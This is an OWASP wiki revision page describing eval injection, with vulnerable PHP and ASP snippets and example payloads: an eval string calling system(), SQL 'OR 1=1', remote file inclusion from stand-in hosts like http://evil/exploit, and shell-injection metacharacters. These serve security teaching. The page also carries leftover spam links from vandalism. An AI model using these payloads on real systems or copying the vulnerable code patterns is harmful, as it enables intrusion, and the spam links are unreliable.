Difference between revisions of "Direct Dynamic Code Evaluation ('Eval Injection')"

From OWASP
Jump to: navigation, search
(Reverting to last version not containing links to s1.shard.jp)
Line 1: Line 1:
[http://s1.shard.jp/olharder/automatic-pig.html automatic transmission not shifting
 
] [http://s1.shard.jp/losaul/atlas-of-australian.html snowy mountain australia
 
] [http://s1.shard.jp/galeach/new134.html what is the largest desert in asia
 
] [http://s1.shard.jp/bireba/kaspersky-antivirus.html kaspersky antivirus personal pro 5.0 key] [http://s1.shard.jp/frhorton/7fqgy22i2.html photo african american couple
 
] [http://s1.shard.jp/olharder/auto-vaccom.html auto trader western australia
 
] [http://s1.shard.jp/olharder/autoroll-654.html sitemap] [http://s1.shard.jp/olharder/autoroll-654.html index] [http://s1.shard.jp/frhorton/tyyykyebz.html dancing skeleton life and death in west africa
 
] [http://s1.shard.jp/frhorton/lywbi2iaz.html african rubber stamps
 
] [http://s1.shard.jp/losaul/wwe-wrestlemania.html australia auto hire
 
] [http://s1.shard.jp/losaul/unley-council-south.html australia desert plants
 
] [http://s1.shard.jp/galeach/new171.html population of asia in 2005
 
] [http://s1.shard.jp/frhorton/l2ids56ra.html north west province south africa map] [http://s1.shard.jp/bireba/norton-antivirus.html avg6 antivirus
 
] [http://s1.shard.jp/olharder/autoroll-654.html map] [http://s1.shard.jp/bireba/avp-antivirus-free.html manually uninstall mcafee antivirus
 
] [http://s1.shard.jp/olharder/turn-off-automatic.html mechanics auto
 
] [http://s1.shard.jp/bireba/symantec-norton.html virus and antivirus
 
] [http://s1.shard.jp/losaul/rolling-stones.html rolling stones australian releases] [http://s1.shard.jp/bireba/sonicwall-complete.html pc cillin antivirus 11
 
] [http://s1.shard.jp/galeach/new22.html anal asian big
 
] [http://s1.shard.jp/olharder/collective-unconscious.html lynnway auto
 
] [http://s1.shard.jp/losaul/seven-nightclub.html moshe katsav australia
 
] [http://s1.shard.jp/frhorton/uf3em2dk5.html african influence on music] [http://s1.shard.jp/losaul/australia-posters.html road runner records australia
 
] [http://s1.shard.jp/bireba/grisoft-antivirus.html microsoft buys antivirus
 
] [http://s1.shard.jp/frhorton/xodsctsq6.html impact of islam on west africa
 
] [http://s1.shard.jp/olharder/automatic-dc-queue.html mitsubishi autos
 
] [http://s1.shard.jp/galeach/new125.html eolasia.com
 
] [http://s1.shard.jp/frhorton/j45p2foyu.html rainy season in africa
 
] [http://s1.shard.jp/bireba/crack-panda.html winantivirus pro 2005 download
 
] [http://s1.shard.jp/galeach/new32.html asian garden plants
 
] [http://s1.shard.jp/galeach/new43.html alchalasia
 
] [http://s1.shard.jp/bireba/ez-antivirus.html symantec antivirus could not communicate with the selected computer
 
] [http://s1.shard.jp/losaul/real-estate-for.html australia vs south africa soccer
 
] [http://s1.shard.jp/olharder/autoroll-654.html sitemap] [http://s1.shard.jp/frhorton/cwoxkek8d.html african pottery techniques] [http://s1.shard.jp/bireba/alertaantivirus.html avg antivirus free software download
 
] [http://s1.shard.jp/galeach/new68.html asian tgps
 
] [http://s1.shard.jp/frhorton/qtlusvqfk.html west african countries] [http://s1.shard.jp/olharder/autoroll-654.html webmap] [http://s1.shard.jp/olharder/autoridad-nacional.html hydraulic press automotive
 
] [http://s1.shard.jp/losaul/holiday-accommodation.html business sale australia
 
] [http://s1.shard.jp/olharder/autoroll-654.html links] [http://s1.shard.jp/bireba/antivirus-trials.html new antiviruses
 
] [http://s1.shard.jp/olharder/autoroll-654.html http] [http://s1.shard.jp/frhorton/qfadevngy.html africa vacation club
 
] [http://s1.shard.jp/galeach/new119.html kaveh afrasiabi harvard
 
 
 
http://www.textbascaliget.com  
 
http://www.textbascaliget.com  
 
{{Template:Attack}}
 
{{Template:Attack}}
Line 148: Line 111:
  
 
===Example 6===
 
===Example 6===
The following code is  vulnerable to eval() injection, because it don’t sanitize the user’s input (in this case: “username”). The program just saves this input in a txt file, and then the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.
+
The following code is  vulnerable to eval() injection, because it don’t sanitize the user’s input (in this case: “username”). The program just saves this input in a txt file, and then the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.
  
 
Example:
 
Example:

Revision as of 11:00, 27 May 2009

http://www.textbascaliget.com

This is an Attack. To view all attacks, please see the Attack Category page.




Last revision: 05/27/2009

Description

This attack consists of a script that does not properly validate user inputs in the page parameter. A remote user can supply a specially crafted URL to pass arbitrary code to an eval() statement, which results in code execution.

Note 1: This attack will execute the code with the same permission like the target web service, including operation system commands.

Note 2: Eval injection is prevalent in handler/dispatch procedures that might want to invoke a large number of functions, or set a large number of variables.

Risk Factors

TBD

Examples

Example 1

In this example an attacker can control all or part of an input string that is fed into an eval() function call

  $myvar = "varname"; 
  $x = $_GET['arg']; 
  eval("\$myvar = \$x;"); 

The argument of "eval" will be processed as PHP, so additional commands can be appended. For example, if "arg" is set to "10 ; system(\"/bin/echo uh-oh\");", additional code is run which executes a program on the server, in this case "/bin/echo".

Example 2

The following is an example of SQL Injection. Consider a web page which has two fields to allow users to enter a Username and a Password. The code behind the page will generate a SQL query to check the Password against the list of Usernames:

SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password'

If this query returns exactly one row, then access is granted. However, if a malicious user enters a valid Username and injects some valid code ("' OR 1=1") in the Password field, then the resulting query will look like this:

SELECT UserList.Username
FROM UserList
WHERE
UserList.Username = 'Username'
AND UserList.Password = 'Password' OR '1'='1'

In the example above, "Password" is assumed to be blank or some innocuous string. "1=1" will always be true and many rows will be returned, thereby allowing access. The final inverted comma will be ignored by the SQL parser. The technique may be refined to allow multiple statements to run, or even to load up and run external programs.

Example 3

This is an example of a file that was injected. Consider this PHP program (which includes a file specified by request):

<?php
   $color = 'blue';
   if ( isset( $_GET['COLOR'] ) )
      $color = $_GET['COLOR'];
   require( $color . '.php' );
?>
<form>
   <select name="COLOR">
      <option value="red">red</option>
      <option value="blue">blue</option>
   </select>
   <input type="submit">
</form>


The developer thought this would ensure that only blue.php and red.php could be loaded. But as anyone can easily insert arbitrary values in COLOR, it is possible to inject code from files:

  • /vulnerable.php?COLOR=http://evil/exploit - injects a remotely hosted file containing an exploit.
  • /vulnerable.php?COLOR=C:\ftp\upload\exploit - injects an uploaded file containing an exploit.
  • /vulnerable.php?COLOR=..\..\..\..\ftp\upload\exploit - injects an uploaded file containing an exploit, using Path Traversal.
  • /vulnerable.php?COLOR=C:\notes.txt%00 - example using Null character, Meta character to remove the .php suffix, allowing access to other files than .php. (PHP setting "magic_quotes_gpc = On", which is default, would stop this attack)

Example 4

A simple URL which demonstrates a way to do this attack:

 http://some-page/any-dir/index.php?page=<?include($s);?>&s=http://malicious-page/cmd.txt?  

Example 5

Shell Injection applies to most systems which allow software to programmatically execute a Command line. Typical sources of Shell Injection are calls system(), StartProcess(), java.lang.Runtime.exec() and similar APIs.

Consider the following short PHP program, which runs an external program called funnytext to replace a word the user sent with some other word.

<HTML>
<?php
passthru ( " /home/user/phpguru/funnytext " 
           . $_GET['USER_INPUT'] );
?>

This program can be injected in multiple ways:

  • `command` will execute command.
  • $(command) will execute command.
  • ; command will execute command, and output result of command.
  • | command will execute command, and output result of command.
  • && command will execute command, and output result of command.
  • || command will execute command, and output result of command.
  • > /home/user/phpguru/.bashrc will overwrite file .bashrc.
  • < /home/user/phpguru/.bashrc will send file .bashrc as input to funnytext.

PHP offers escapeshellarg() and escapeshellcmd() to perform encoding before calling methods. However, it is not recommended to trust these methods to be secure - also validate/sanitize input.

Example 6

The following code is vulnerable to eval() injection, because it don’t sanitize the user’s input (in this case: “username”). The program just saves this input in a txt file, and then the server will execute this file without any validation. In this case the user is able to insert a command instead of a username.

Example:

<%
	If not isEmpty(Request( "username" ) ) Then
		Const ForReading = 1, ForWriting = 2, ForAppending = 8
		Dim fso, f
		Set fso = CreateObject("Scripting.FileSystemObject")
		Set f = fso.OpenTextFile(Server.MapPath( "userlog.txt" ), ForAppending, True)
		f.Write Request("username") & vbCrLf
		f.close
		Set f = nothing
		Set fso = Nothing
		%>
		<h1>List of logged users:</h1>
		<pre>
		<%
			Server.Execute( "userlog.txt" )
		%>
		</pre>
		<%
	Else
		%>
		<form>
			<input name="username" /><input type="submit" name="submit" />
		</form>
		<%
	End If
%>

Related Threat Agents

Related Attacks

Related Vulnerabilities

Related Controls

References